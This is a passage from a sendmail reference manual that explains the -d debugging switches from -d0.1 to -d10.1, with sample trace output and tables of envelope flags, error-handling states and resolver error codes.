-d43.36 | Section 37.5.155, -d43.36 |  | Show content transfer encoding
-d43.40 | Section 37.5.156, -d43.40 |  | Show parse of Content-Type: header
-d43.99 | Section 37.5.157, -d43.99 |  | Print the leading/following comments
-d43.100 | Section 37.5.158, -d43.100 |  | Mark collect() and putheader()
-d44.4 | Section 37.5.159, -d44.4 |  | Trace safefile()
-d44.5 | Section 37.5.160, -d44.5 | useful | Trace writable()
-d45.1 | Section 37.5.161, -d45.1 |  | Show envelope sender
-d45.3 | Section 37.5.162, -d45.3 |  | Show saved domain
-d45.5 | Section 37.5.163, -d45.5 |  | Show don't send to sender
-d46.9 | Section 37.5.164, -d46.9 |  | Show xf file's descriptors
-d48.2 | Section 37.5.165, -d48.2 | useful | Trace calls to the check_ rule sets
-d49.1 | Section 37.5.166, -d49.1 |  | Trace checkcompat()
-d50.1 | Section 37.5.167, -d50.1 |  | Show envelope being dropped
-d50.2 | Section 37.5.168, -d50.2 |  | Show Booleans
-d50.10 | Section 37.5.169, -d50.10 |  | Also show the send queue
-d51.4 | Section 37.5.170, -d51.4 |  | Show queue entries being unlocked
-d51.104 | Section 37.5.171, -d51.104 |  | Prevent unlink of xf file
-d52.1 | Section 37.5.172, -d52.1 |  | Show isconnect from controlling TTY
-d52.100 | Section 37.5.173, -d52.100 |  | Prevent disconnect from controlling tty
-d53.99 | Section 37.5.174, -d53.99 |  | Trace xclose()
-d54.1 | Section 37.5.175, -d54.1 |  | Show error return and output message
-d54.8 | Section 37.5.176, -d54.8 |  | Show message and flags
-d55.60 | Section 37.5.177, -d55.60 |  | Show file locking
-d56.1 | Section 37.5.178, -d56.1 |  | Persistent host status tracing
-d56.2 | Section 37.5.179, -d56.2 |  | More persistent host status tracing
-d56.12 | Section 37.5.180, -d56.12 |  | Perform a sanity check
-d56.80 | Section 37.5.181, -d56.80 |  | Trace creating the path to the status file
-d56.93 | Section 37.5.182, -d56.93 |  | Dump MCI record for the host
-d57.2 | Section 37.5.183, -d57.2 |  | Monitor vsnprintf() overflows
-d59.1 | Section 37.5.184, -d59 |  | XLA from contrib
-d60.1 | Section 37.5.185, -d60.1 | useful | Trace map lookups inside rewrite()
-d61.10 | Section 37.5.186, -d61.10 |  | Trace gethostbyname()
-d62.1 | Section 37.5.187, -d62.1 |  | Log file descriptors before and after all deliveries
-d62.8 | Section 37.5.188, -d62.8 |  | Log file descriptors before each delivery
-d62.10 | Section 37.5.189, -d62.10 |  | Log file descriptors after each delivery
-d80.1 | Section 37.5.190, -d80.1 |  | Content-Length: header (Sun enhancement)
-d81.1 | Section 37.5.191, -d81.1 |  | > option for remote mode (Sun enhancement)
-d91.100 | Section 37.5.192, -d91.100 |  | Log caching and uncaching connections
-d99.100 | Section 37.5.193, -d99.100 | useful | Prevent backgrounding the daemon

37.5.1 -d0.1

Print version information

(useful)

The -d0.1 (a.k.a. -d0) debugging switch previously prevented sendmail from forking and detaching itself, but that function has been moved to the -d99.100 debugging switch. The -d0.1 debugging switch now just tells sendmail to print information about its version:

Version 8.8.4
Compiled with:   LOG MATCHGECOS NAMED_BIND NDBM NEWDB NETINET NETUNIX
                 NIS
SYSTEM IDENTITY (after readcf):
            (short domain name) $w = here
        (canonical domain name) $j = here.US.EDU
               (subdomain name) $m = US.EDU
                    (node name) $k = here

The Version is the current version of sendmail. Note that for Sun the number may look like SMI-8.7.5.

The Compiled with: lists the compile-time definitions that where specified when sendmail is compiled. All the available definitions are listed in Table 18.3 in Section 18.8, "Alphabetized Reference".

The SYSTEM IDENTITY shows the value assigned to four important macros. The meaning of each macro is contained in Table 31.7 in Section 31.10, "Alphabetized Reference".

37.5.2 -d0.4

Our name and aliases

(useful)

The -d0.4 debugging switch tells sendmail to print several additional lines of information:

Version 8.8.4
Compiled with:   LOG MATCHGECOS NAMED_BIND NDBM NEWDB NETINET NETUNIX
                 NIS
canonical name: here.US.EDU                             <-  additional
 UUCP nodename: here                                    <-  additional
        a.k.a.: [123.45.67.89]                          <-  additional
============ SYSTEM IDENTITY (after readcf) ============
            (short domain name) $w = here
        (canonical domain name) $j = here.US.EDU
               (subdomain name) $m = US.EDU
                    (node name) $k = here
========================================================

To find the canonical name of the local host, sendmail calls gethostname(). If that call fails, the name localhost is used. The hostname is then looked up with the internal routine sm_gethostbyname(), which gathers additional information (such as other names and addresses for the machine) and fixes several bugs in some operating system's versions of the gethostby... routines. Next the canonical name for the local host is looked up. For operating systems that normally support switched services, the name is looked up as specified. For systems that specify switched services in the configuration file's ServiceSwitchFile option (see Section 34.8.61, ServiceSwitchFile), switched services are not used because the configuration file has not been read yet. (This canonicalization process can be traced with the -61.10 debugging switch.) If the canonical is found and that name contains a dot, sendmail saves the part of the name to the right of the leftmost dot as the domain name in the $m macro (see Section 31.10.24, $m). It also appends the part of the name to the left of the leftmost dot to the class w (see Section 32.5.8, $=w). If the canonical name doesn't contain a dot, the $m macro is undefined, and the whole name is appended to the class w.

In addition, sendmail also sets the $k macro (see Section 31.10.21, $k) to be the correct UUCP name for the machine. It uses uname(3), if available, to find that name (see Section 18.8.51, TRUST-POPEN); otherwise, it uses the same strategy as for class w above.

Then sendmail lists any other names or addresses (this latter in square brackets) that it found. If it finds any, it prints the name prefixed by a.k.a.: and appends each to the class w. The aliases listed are only those found using gethostbyname(3). To see each entry as it is added to the class w, use the -d37.8 debugging switch.

Finally, sendmail scans the network hardware to find any other names associated with interfaces. If the ioctl(2) call to get that information fails, the -d0.4 debugging switch causes sendmail to print that failure:

SIOGIFCONF failed:   <-  reason here

If any are found, each is printed with an a.k.a.: prefix and added to the class macro w.

37.5.3 -d0.10

Operating System Defines

The -d0.10 debugging switch causes sendmail to print all the operating system specific definitions that were used to compile your specific version of sendmail. This output prints after the "Compiled with:" information described above:

OS Defines: HASFLOCK HASGETUSERSHELL HASINITGROUPS HASLSTAT
                HASSETREUID HASSETSID HASSETVBUF HASUNAME IDENTPROTO
                IP_SRCROUTE
Kernel symbols: /vmunix
   Config file: /etc/sendmail.cf
  Proc Id file: /etc/sendmail.pid

The OS Defines are described in Table 18.3 in Section 18.8. Most are automatically determined during compilation; others are specified in Makefile.

The Kernel symbols is the name of file that is accessed to determine the load average. It is automatically defined correctly when conf.c is compiled. The location of the configuration file and the process identifier file are defined in the Makefile and conf.h in the sendmail source (see Section 18.8.34, PATH...).

37.5.4 -d0.15

Dump delivery agents

(useful)

The -d0.15 debugging switch causes sendmail to display how it interpreted its delivery agent definitions. The clarity and completeness of the delivery agent information vary with the version of sendmail. See the =M rule-testing command (Section 38.4.2, "Show Delivery Agents with =M") for an example of this output.

37.5.5 -d0.20

Print network address of each interface

(useful)

When sendmail scans the network hardware to find other names for the local host, it uses only those names that are new. Each new name was printed by the -d0.4 debugging switch above. To see every name that sendmail finds, new and old alike, use the -d0.20 debugging switch:

128.32.201.55                                         <-  already found
127.0.0.1                                             <-  found new
        a.k.a.: [127.0.0.1]

37.5.6 -d0.22

Show uname() failure

Ordinarily, if the UUCP name for the local host cannot be found (if uname(3) fails), sendmail silently uses the leftmost component of the canonical name as the UUCP name. To see whether uname(3) failed - and, if so why - you can use the -d0.22 debugging switch:

uname failed (reason for failure here)

37.5.7 -d0.40

Announce scanning of interfaces

The -d0.40 debugging switch causes sendmail to announce that it is about to scan for network interfaces:

scanning for interface specific names, ifc_len=64
        a.k.a.: [127.0.0.1]

The ifc_len is the size in bytes of the configuration list returned by the kernel.

37.5.8 -d0.44

Print addresses of strings

The -d0.44 debugging switch causes sendmail to prefix certain lists of strings that it prints with the address in memory of each string and an equal sign. With this debugging level, part of the output produced by the -d21.12 debugging switch would look like this:

--- rule fails
---trying rule:
        0009ec68=@
        0009ec78=$*
--- rule fails

This debugging level can be useful to the programmer who wishes to modify the sendmail source. It might, for example, be helpful in designing more efficient string storage.

37.5.9 -d0.90

Print first 10 rule sets

(obsolete)

The -d0.90 debugging switch causes sendmail to display its internal interpretations of the first 10 rewriting rules it took from the configuration file. The rule sets are printed in numeric order, rather than in the order in which they appeared in the configuration file. The rewriting rules are printed under each rule set (but these are in the order in which they appeared in the configuration file). Rule sets that are declared but lack rewriting rules are not printed. Note that defined macros in the RHS are expanded (the value used) when the configuration file is parsed. Also note that expressions like $+ may be printed as control characters (e.g., ^A) under older versions of sendmail.

The preferred way to view individual rule sets is with the -bt rule-testing mode's =S command (see Section 38.4.1, "Show Rules in a Rule Set with =S").

37.5.10 -d1.1

Show sender information

Although there are many kinds of information that one might like to trace about the sender of an email message, sendmail provides the means to trace only one of them. The -d1.1 (a.k.a. -d1) debugging switch causes sendmail to print its interpretation of whom the message is from (the name of the sender as it was used in the envelope):

From person = "sender"

Here, sender is the user portion of the mail address of the sender. This output is most useful when combined with the -f command-line switch (which sets the name of the sender from the command line; see Section 36.7.21, -f and -r).

37.5.11 -d1.5

Dump the sender address

The -d1.5 debugging switch causes additional information about the sender to be printed. That output looks like this:

main: QDONTSEND output of printaddr() here (see Section 37.3.1, "The Output Produced by printaddr()")

The QDONTSEND means that the sender is not a recipient and so should not get a copy of the message. That is followed by the output of the printaddr() routine.

37.5.12 -d2.1

End with finis()

Ordinarily, sendmail exits silently when it is done (unless an error causes an error message to be printed). The -d2.1 (a.k.a. -d2) debugging switch causes sendmail to print three useful values when it exits. The message it prints looks like this:

====finis: stat num e_id=qid e_flags=flags

The num is the final value of the sendmail program's global ExitStat variable. It is usually updated to contain the latest error value as defined in <sysexits.h>. See Section 36.5, "sendmail's exit() Status" for a detailed description of the possible exit values.

The qid is either the queue identifier (such as SAA24069) or the NOQUEUE if the message was never assigned an identifier (such as if it was never queued).

The flags is a hexadecimal representation of the possible envelope flags followed by a text representation of those flags in angle brackets with the leading EF_ removed, for example,

201003<OLDSTYLE,INQUEUE,GLOBALERRS,HAS_DF>

These are the envelope flags that were in effect with the current envelope when sendmail exited. The possible values are shown in Table 37.3.

Table 37.3: Hexadecimal Envelope Flags
Text | Hex | Description
EF_OLDSTYLE | 0000001 | Use spaces (not commas) in headers
EF_INQUEUE | 0000002 | This message is fully queued
EF_NO_BODY_RETN | 0000004 | Omit message body on error
EF_CLRQUEUE | 0000008 | Disk copy is no longer needed
EF_SENDRECEIPT | 0000010 | Send a return receipt
EF_FATALERRS | 0000020 | Fatal errors occurred
EF_KEEPQUEUE | 0000040 | Keep queue files always
EF_RESPONSE | 0000080 | This is an error or return receipt
EF_RESENT | 0000100 | This message is being forwarded
EF_VRFYONLY | 0000200 | Verify only (don't expand aliases)
EF_WARNING | 0000400 | Warning message has been sent
EF_QUEUERUN | 0000800 | This envelope is from queue
EF_GLOBALERRS | 0001000 | Treat errors as global
EF_PM_NOTIFY | 0002000 | Send return mail to postmaster
EF_METOO | 0004000 | Send to me too
EF_LOGSENDER | 0008000 | Need to log the sender
EF_NORECEIPT | 0010000 | Suppress all return-receipts
EF_HAS8BIT | 0020000 | At least one 8-bit character in body
EF_NL_NOT_EOL | 0040000 | Don't accept raw newline as end-of-line
EF_CRLF_NOT_EOL | 0080000 | Don't accept carriage-return/line-feed as end-of-line
EF_RET_PARAM | 0100000 | SMTP RCPT command had RET argument
EF_HAS_DF | 0200000 | Set when df file is instantiated
EF_IS_MIME | 0400000 | Really is a MIME message
EF_DONT_MIME | 0800000 | This message is not MIME-able

For example, if the message were fully queued and required a DSN return receipt, the flags would print as

e_flags=12<INQUEUE,SENDRECEIPT>

Note that this line of output is also produced by the -d13.1, -d40.3, and -d50.1 debugging switches but under different circumstances.

37.5.13 -d2.9

Show file descriptors with dumpfd()

The -d2.9 debugging switch tells sendmail to display the properties of each open file descriptor. That output is produced by the dumpfd() routine, and each line of output is for a single file descriptor:

num: fl=flags mode=mode type stats

Here, the num is the number of the open file descriptor. Note that descriptors 0, 1, and 2 are usually tied to the standard input, output, and error output.

The flags is a hexadecimal representation of the state flags associated with a file descriptor. F_GETFL is used with ioctl(2) to fetch each, and all are described in <sys/fcntlcom.h>.

The mode is printed in octal and is the st_mode associated with an fstat(2) of the file descriptor. The type examines the file type portion of the st_mode and prints SOCK for a socket, CHR: for a character special device, BLK: for a block special device, FIFO: for a first-in-first-out file, DIR: for a directory, LNK: for a symbolic link, and nothing otherwise (e.g., nothing if it is a file).

The stats are printed for all but the socket. They look like this:

dev=major/minor ino=inum nlink=nlink u/gid=uid/gid size=bytes

Here the dev= shows the major and minor device numbers for the device that the file descriptor is associated with. The inum is the inode number on the disk (if there is one) and nlink is the number of hard links to the file on disk. The uid/gid shows the user and group ownership associated with the file descriptor. The size is the number of bytes in a file, and 0 for almost everything else.

For a socket, the stats part of each line looks like this:

[addr]/port-> host

Here, addr is the IP address of the local end of the socket. If the connection is of type AF_INET, the port number of the connection is also shown as /port. The host is the hostname, as returned by getpeername(3), of the connecting host. If any of these cannot be found, the error string associated with errno is printed parenthetically in its place.

The -d7.9, -d40.9, and -d46.9 debugging switches also print a line like this for specific file descriptors. Also if sendmail is run with the -d10.100 switch, or if sendmail fails to open a tf queue file (see Section 23.2.6, "The Temporary qf Rewrite Image: tf"), or if sendmail exited because of too many open files, it will syslog all its open file descriptors within this format.

37.5.14 -d3.1

Print load average

The sendmail program queues mail, rather than delivering it, if the load average (number of processes in the run queue) exceeds the value set by the QueueLA (x) option (see Section 34.8.50, QueueLA (x)). Exceeding that value also prevents messages that are already in the queue from being delivered (prevents a queue run). If the load average becomes higher than the value of the RefuseLA (X) option (see Section 34.8.54, RefuseLA (X)), sendmail rejects incoming SMTP connections until the load average drops.

The -d3.1 debugging switch (a.k.a. -d3) causes sendmail to print the load average found by its internal getla() routine each time that routine is called:

getla: la

Here, la is the current load average printed as an integer. If sendmail was compiled with LA_TYPE==LA_ZERO (see Section 18.8.14, LA-TYPE), the following will be printed to show that your sendmail binary completely lacks load averaging support:

getla: ZERO

The -d3.1 debugging switch also causes sendmail to print any errors it encounters while obtaining the load average.

getla: open(/dev/kmem): error

Here, /dev/kmem is the device that is used to access kernel memory. The error is the system error that caused the failure, such as "Permission denied" if sendmail is not properly sgid to the group kmem.

getla: nlist(unix): error

The nlist(3) function extracts a list of symbols from an executable binary (among them the symbol for the load average). The binary that it extracts is the kernel whose pathname is unix (such as /vmunix for SunOS 4.x). Here, the error is the reason nlist(3) failed. One possibility is that you booted from a nonstandard kernel name (such as /vmunix.new) and the expected file didn't exist:

getla: nlist(unix, la) ==> 0

If the expected kernel exists (unix) but the machine was booted from a different kernel, the symbol representing the load average may not be found. In that instance, la is the name of the kernel variable that sendmail was trying to find.

37.5.15 -d3.5

Print load average

The load average that sendmail uses is averaged over the last minute. Internally, the kernel keeps track of three load averages. In addition to the last minute, it also tracks the last 5 and 15 minutes. The -d3.5 debugging switch causes V8 sendmail to print the load average over the last minute:

getla: averun = 1min

37.5.16 -d3.15

Print three load averages

The -d3.15 debugging switch causes V8 sendmail to print all three load averages:

getla: averun = 1min, 5min, 15min

Here, the three load averages are printed either in integer or in floating point, depending on the setting of LA_TYPE (see Section 18.8.14).

37.5.17 -d3.20

Show offset for load average

The nlist(3) routine (described above) provides the offset into the kernel file where the value of the load average is found. The -d3.20 debugging switch causes that offset to be displayed:

getla: symbol address = offset

Here, the offset is printed in hexadecimal. The load average is read by seeking in the kernel file and reading it. If the seek or read fails, the -d3.1 debugging switch causes sendmail to print:

getla: seek or read: error

This can indicate a wrong or corrupted kernel image.

37.5.18 -d3.30

Show result of decision to queue

The internal routine shouldqueue() is called just before a mail message is delivered to recipients. That routine determines whether mail will be delivered or queued on the basis of the current load average and message priority. Upon entry it prints:

shouldqueue: CurrentLA=load, pri=priority

If the CurrentLA is less than the limit set by the QueueLA (x) option (see Section 34.8.50), sendmail prints:

FALSE (CurrentLA < QueueLA)

Then the calculation described in Section 34.8.49, QueueFactor (q) for the QueueFactor (q) option is performed using the pri priority. The result is printed as one of the following, where TRUE represents a zero result and FALSE represents a nonzero result:

TRUE (by calculation)
FALSE (by calculation)

37.5.19 -d4.80

Trace enoughspace()

(useful)

The MinFreeBlocks (b) option (see Section 34.8.40, MinFreeBlocks (b)) defines the minimum number of disk blocks that must be reserved on the queue disk. If an incoming SMTP message will fill the disk beyond this minimum, the message is rejected.

The -d4.80 debugging switch [1] traces the enoughspace() routine in conf.c. That routine examines the disk space and allows or disallows incoming mail.

[1] No -d4.1 (a.k.a. -d4) information is available.

enoughspace: no threshold

This debugging output says that no limit was defined with the MinFreeBlocks (b) option.

enoughspace: bavail=haveblocks need=needblocks

This debugging output shows that the number of blocks free (available) on the disk is haveblocks and that the number of blocks required by incoming mail is needblocks. Note that haveblocks will always be -1 if sendmail was compiled with SFS_TYPE set to SFS_NONE (see Section 18.8.40, SFS-TYPE).

enoughspace failure: min=boption need=needblocks

If the required number of blocks (needblocks) exceeds the minimum reserved as defined by the MinFreeBlocks (b) option (boption), use of the disk is disallowed.

37.5.20 -d5.4

Tick for queued events

Throughout its many possible levels of forks and children, sendmail must keep track of timeouts - the maximum amount of time it should wait for an event to occur. For example, a child must not wait forever for an SMTP greeting message, because the program at the other end may never provide that message (because it died or is just too busy).

To keep track of which child should be notified at which time, sendmail maintains an internal queue of events. The sendmail program uses the SIGALARM signal and the alarm(2) system call to set the interval it waits to next check its queue of events for timeouts. That interval (called a tick) is the period of the timeout itself, or if the timeout is scheduled for the present or past, the interval is three seconds. The -d5.4 debugging switch [2] causes sendmail to print the current time whenever the queue of events is examined:

[2] There is no -d5.1 (a.k.a. -d5) information.

tick: now=time

Here, time is the current time in seconds as returned by time(2).

37.5.21 -d5.5

Events set and cleared

Events are set by the process (child or parent) that needs a timeout. The -d5.5 debugging switch causes sendmail to print the information that is used to set up for that timeout:

setevent: intvl=secs, for=timeo, func=addr, arg=pass, ev=evnt

The information is the timeout interval in seconds (secs), the time (now plus the interval) in seconds that the timeout will occur (timeo), the address in memory of the subroutine that will be called if a timeout occurs (addr), the argument to be passed to that subroutine (pass), and the address in memory of the C language structure that contains this information (evnt). The addr of the function to be called can be converted to a function name by running nm(1) on an unstripped binary of sendmail. For example, if the following output was produced by /usr/lib/sendmail:

setevent: intvl=3600, for=802463800, func=3ebc4, arg=0, ev=94b68

you could find the function name associated with the address 3ebc4 by running

%  nm /usr/lib/sendmail | grep 3ebc4
0003ebc4 t _readtimeout

Here, the result is the name readtimeout, which corresponds to the function readtimeout() in util.c.

When an event is cleared because a timeout was no longer needed, sendmail prints:

clrevent: ev=evnt

Here, evnt is the address in memory of the C language structure that stored the event information. This is the same as the last item printed by setevent above.

37.5.22 -d5.6

Show events triggered

The -d5.6 debugging switch tells sendmail to print the following information when a timeout occurs:

tick: ev=evnt, func=addr, arg=pass, pid=pid

This shows that the event stored in the C language structure, whose address in memory is evnt, has timed out. The subroutine whose address in memory is addr will be called with an argument of pass. The process identification number of the parent process that asked for the timeout is shown as pid.

37.5.23 -d6.1

Show failed mail

(useful)

Mail can fail for a wide variety of reasons. The way that sendmail handles errors is determined by the setting of the ErrorMode (e) option (see Section 34.8.24, ErrorMode (e)) in the configuration file. The -d6.1 (a.k.a. -d6) debugging switch causes sendmail to print the error-handling mode that is in effect at the time it first begins to handle failed mail:

savemail, errorMode = char, id = qid, ExitStat = err
e_from=   <-  output of printaddr() here (see Section 37.3.1)

Here, char is either: p for print errors; m for mail back errors; w for write back errors; e for special BERKnet processing; or q for "don't print anything" (all of which are described under the ErrorMode option in Section 34.8.24). The qid is the queue identifier (such as KAA15019). The err is the error that caused the message to fail (as defined in <sysexits.h>). And e_from= uses printaddr() to print details about the sender's address.

If the error-processing mode is m (for mail back) and the -d6.1 debugging switch is in effect, sendmail prints details about how the message is being returned to the sender:

***Return To Sender: msg=reason, depth=num, e=addr, returnq=
  <-  output of printaddr() here (see Section 37.3.1)

Here, reason is a quoted string of text that explains why the mail failed. This may be an SMTP reply string. The num is zero for normal delivery and one for error delivery. The addr is the location in memory of the information about the current envelope. Finally, sendmail calls printaddr() to print the details of the queue of recipients (returnq=) for the current message.

37.5.24 -d6.5

The current error state

The -d6.5 debugging switch tells sendmail to print the error state it was in when it finished processing the error that caused the message to fail:

state num

If num is 7 (successful delivery), nothing is printed. Otherwise, the above message is printed, and the value of num represents one of the states shown in Table 37.4.

Table 37.4: Error Handling States
State | Description
0 | Report to sender's terminal
1 | Mail back to sender
2 | Messages have already been returned
3 | Save in ~/dead.letter
4 | Return to postmaster
5 | Save in /usr/tmp/dead.letter
6 | Leave the locked queue/transcript files
7 | The message has been successfully delivered

37.5.25 -d6.20

Show sender of return to sender

The -d6.20 debugging switch tells sendmail to print additional information to that printed by -d6.1. Specifically, it prints, via printaddr(), the address information about the sender of returned mail:

***Return To Sender: msg=reason, depth=num, e=addr, returnq=
output of printaddr() here (see Section 37.3.1)
Sendq= output of printaddr() here

37.5.26 -d7.1

The Queue filename

The sendmail program stores mail messages in its queue for a variety of reasons. For example, the SuperSafe (s) option (see Section 34.8.67, SuperSafe (s)) causes it to queue all messages just to be safe. Also, messages that cannot be delivered because of a temporary lack of resources (or for any correctable reason) are queued for later delivery.

Mail messages are stored in the queue in two parts. A data part contains the body of the message. An information part stores headers and other information about the message. The filenames of the two parts are identical but for the first two letters. A df begins the name of the data part, and a qf begins the name of the information part. A third type of queue file begins with the letters xf and is a "transcript" file that holds error messages produced during delivery.

To ensure that these filenames do not conflict with the names of files that may already be in the queue, sendmail uses the following pattern to create new names:

qfHAApid

Here, pid is the process identification number of the incarnation of sendmail that is trying to create the file. Because sendmail often fork(2)'s to process the queue, the pid is likely unique and therefore creates a unique name.

The H represents the current hour of the day (using a 24-hour clock) and prefixes the AA. It is constructed by adding the current hour to the letter A (thus 00:23 would produce A+0=A, while 15:45 would produce A+15=P). Although it is not recommended, the hour character can be useful in viewing the queue (with the -bp command-line switch) to observe the particular hours, if any, that messages tend to queue. The hour prefix does not increment.

If sendmail cannot create a file (because a file with that name already exists), it increments the rightmost A of the AA part of the name to a B and tries again. It continues this process, incrementing the right from A to Z and the left from A to ~ until it succeeds. If a unique name cannot be found, sendmail has failed in its attempt to queue the message. The last filename tried is:

qfH~Zpid

This name is unlikely to ever appear, because the clocking provides for over 1600 possible unique names. With some versions of sendmail, however, it may appear if the queue directory is not writable. For example, the -C command-line switch, when used by a normal user, might cause sendmail to give up its root privilege, thus causing this message to be printed.

The -d7.1 (a.k.a. -d7) debugging switch causes sendmail to print the portion of the queue name that is common to all the files that constitute a single queued message.

queuename: assigned id HAApid, env=addr

Here, sendmail prints the identifier portion of the filename (the HAA, or whatever letters succeeded, and the pid) that is common to the df, qf, and xf files. The addr is the address in memory of the C language structure that describes the envelope for the mail message that is queued.

37.5.27 -d7.2

Show assigned queue file name

The -d7.2 debugging switch tells sendmail to print the full filename of the file that it just created in the queue directory:

queuename: letterfHAApid

The first letter of the name is either d, q, or x. The pid is the process identification number of the sendmail process that created the file.

37.5.28 -d7.9

Dump file descriptor for the qf file

Once sendmail successfully opens its qf file, it has established the unique identifier. The -d7.9 debugging switch causes sendmail to dump the file-descriptor for that open file:

lockfd= output of dumpfd() here (see Section 37.5.13)

37.5.29 -d7.20

Show queue names being tried

The -d7.20 debugging switch causes sendmail to print each filename that it is attempting to try as it clocks the AA in the name from AA to ~Z:

queuename: trying qfHAA16391
queuename: trying qfHAB16391
queuename: trying qfHAC16391
queuename: trying qfHAD16391
...   <-  and so on

37.5.30 -d8.1

DNS name resolution

(useful)

Name resolution is the process of determining a machine's IP address based on its fully qualified domain name. This is done by using the Domain Name System (DNS). The process that sendmail uses to resolve a name is described in Section 21.2, "How sendmail Uses DNS".

When sendmail finds that a hostname is really an MX (mail exchanger) record, it attempts to look up the A record for the host that handles mail receipt. That request may fail for a variety of reasons. If the -d8.1 (a.k.a. -d8) debugging switch is specified, sendmail produces the following message:

getmxrr: res_search(host) failed (errno=err, h_errno=herr)

Here, host is the hostname that was being looked up, err is the system error number (if any) from <errno.h>, and herr is the resolver specific error from <netdb.h> as shown in Table 37.5.

Table 37.5: Resolver Errors from netdb.h
Value | Mnemonic | Description
1 | HOST_NOT_FOUND | Host not found (authoritative answer returned)
2 | TRY_AGAIN | Nonauthoritative server not found or server failure
3 | NO_RECOVERY | Nonrecoverable errors and refusals
4 | NO_DATA | Valid name but no record of requested type

37.5.31 -d8.2

Call to getcanonname(3)

(useful)

The routine dns_getcanonname() in domain.c of the sendmail source converts a hostname to a fully qualified domain name. This routine is called only if DNS is used to look up hostnames, as determined by the ResolverOptions (I) option (see Section 34.8.55, ResolverOptions (I)) and the ServiceSwitchFile option (see Section 34.8.61). If it is, dns_getcanonname() can be called from two places: during startup to get the values for $w, $j, and $m (see Section 37.5.2) or when a host is looked up via the $[ and $] canonify-operators (see Section 28.6.6, "Canonicalize Hostname: $[ and $]").

The -d8.2 debugging switch shows the hostname before it is fully qualified with this call:

dns_getcanonname(host, flag)

If the flag is nonzero, calls to the getmxrr() routine (which looks up MX records) are also traced. On entry to that routine, sendmail will print:

getmxrr(host, droplocalhost=bool)

The host is the hostname that MX records are being looked up for. The bool, if nonzero, means that all MX records that are less preferred than the local host (as determined by $=w) will be discarded. If zero, they will be retained.

The -d8.2 debugging switch also causes sendmail to show the result of processing the ResolverOptions (I) option's settings (see Section 34.8.55) while reading the configuration file:

_res.options = hex, HasWildcardMX = 1 or 0

The hex is a hexadecimal representation of the state structure's options variable as described in <resolv.h>. The value of HasWildcardMX is determined by its prefix (+ or -) when listed with the ResolverOptions (I) option.

37.5.32 -d8.3

Trace dropped local hostnames

(useful)

If a hostname is dropped because bool (above) is nonzero, the -d8.3 switch causes sendmail to print the following:

found localhost (host) in MX list, pref=pref

The host is the hostname that is being dropped. The pref is the preference associated with the MX record.

37.5.33 -d8.5

Hostname being tried in getcanonname(3)

(useful)

The -d8.5 debugging switch causes the getcanonname(3) routine to print the hostname it is trying to fully qualify. It shows the name with the local domain appended without the local domain appended, and at each step in between. Each try is printed as:

getcanonname: trying host.domain (type)

Here, the type is the type of lookup and is either ANY, A, or MX.

37.5.34 -d8.7

Yes/no response to -d8.5

(useful)

The -d8.7 debugging switch causes sendmail to print a yes or no response to each of the "trying" lines printed by -8.5. Yes means that the host could successfully be fully canonicalized. A yes answer prints just this:

YES

If the host could not be canonicalized, a more complex answer is printed:

NO: errno=err, h_errno=herr

The err is the system error number (if any) from <errno.h>, and herr is the resolver specific error from <netdb.h> as shown in Table 37.5.

37.5.35 -d8.8

Resolver debugging

(useful)

The -d8.8 debugging switch causes the resolver library to be put into debugging mode (if that was mode was included when that library was compiled). The ResolverOptions (I) option (see Section 34.8.55) +DEBUG also turns on this debugging mode. But be aware that turning on +DEBUG will cause a large number of screens full of output to be produced by the resolver library for every DNS lookup.

If the name server returns an answer to an MX lookup, and if the answer is not an MX record or an error, sendmail will skip that host. The -d8.8 debugging switch (or the resolver library being in debug mode) then causes sendmail to print the following:

unexpected answer type wrongtype, size bytes

The wrongtype is an integer that can be found in <arpa/nameser.h>.

37.5.36 -d8.20

Inconsistency in returned information

Internally, the resolver library (libresolv.a) stores host domain names in compressed form (for transmission efficiency). We won't cover the nature of that compression. For our purposes it is sufficient to know that the sendmail program calls dn_skipname(3) from the resolver library to skip past the compressed part of a host domain name. That call should never fail, but if it does, the -d8.20 debugging switch causes sendmail to print:

qdcount failure (questions)

The questions is a count of the number of queries made.

37.5.37 -d9.1

Canonify hostname and RFC1413 queries

The -d9.1 (a.k.a. -d9) debugging switch can be used to watch sendmail convert hostnames and addresses into canonical form. This is done by watching the host_map_lookup() function with -d9.1. First the hostname is looked up in the symbol table. If it exists there and if it is marked as a valid canonical entry, sendmail prints

host_map_lookup(host) => CACHE canon

Here, the name host was found in the symbol table. The value returned was a valid canonical name. If host had not been found, the canon would have printed as NULL.

If sendmail is running in defer-delivery mode (see the DeliveryMode (d) option in Section 34.8.16, DeliveryMode (d)), it will skip looking up the hostname further. This is done because dial-on-demand connections should not be brought up merely to perform unnecessary DNS lookups. When sendmail skips further lookups, it prints:

host_map_lookup(host) => DEFERRED

If the name is not in the symbol table, it is looked up with the getcanonname() function. First sendmail prints:

host_map_lookup(host) =>

with no trailing newline. Then, if the canonical name is returned by getcanonname(), that returned name is printed. Otherwise, FAIL is printed. If sendmail is compiled with NAMED_BIND defined for DNS support (see Section 18.8.23, NAMED-BIND), the FAIL is followed by the resolver specific error (herr) from <netdb.h>:

host_map_lookup(host) => herr

The -d9 debugging switch is also used to display identd(8) queries. When a network connection is made from a remote host to the local host, the local sendmail uses the RFC1413 identification protocol to query the remote host for the name of the user who instantiated the connection. The result of that query is printed as:

getauthinfo: result

Here, result is two pieces of information: an address composed of the username, an @, and the real name of the remote host and the IP address of that host:

getauthinfo: george@fbi.dc.gov [123.45.67.8]

If the query fails, nothing is printed.

37.5.38 -d9.3

Show raw RFC1413 reply

The above information is not provided by the remote host in that clear form. Instead, sendmail needs to parse the needed information from a raw reply. The -d9.3 debugging switch causes the raw reply to be printed:

getauthinfo:  got raw_reply

37.5.39 -d9.10

Show RFC1413 query being sent

The -d9.10 debugging switch causes sendmail to display its outgoing RFC1413 query:

getauthinfo: sent query

Here, the outgoing query is composed of two numbers: the TCP port on the remote machine where its RFC1413 server is running, followed by a dot and the local port number for the original connection.

37.5.40 -d10.1

Show recipient delivery

When sendmail is about to deliver a mail message, it has already resolved three pieces of information: which delivery agent to use, the name of the host that receives the message, and the name of one or more recipients for that message. The -d10.1 (a.k.a. -d10) debugging switch tells sendmail to display information about the recipient to whom it is about to deliver:

-deliver, id=mid, mailer=num, host=`hname', first user=`uname'

Here, mid is the queue message identifier (such as PAA08463). The num is the number of the delivery agent selected. Delivery agent numbers can be displayed by using the -d0.15 debugging switch. The hname is the name of the host that receives delivery. The uname is the name of the first of possibly many users who receive the mail message. The uname can be either a single name such as joe or a full forwarding address such as joe@jokes.are.us.

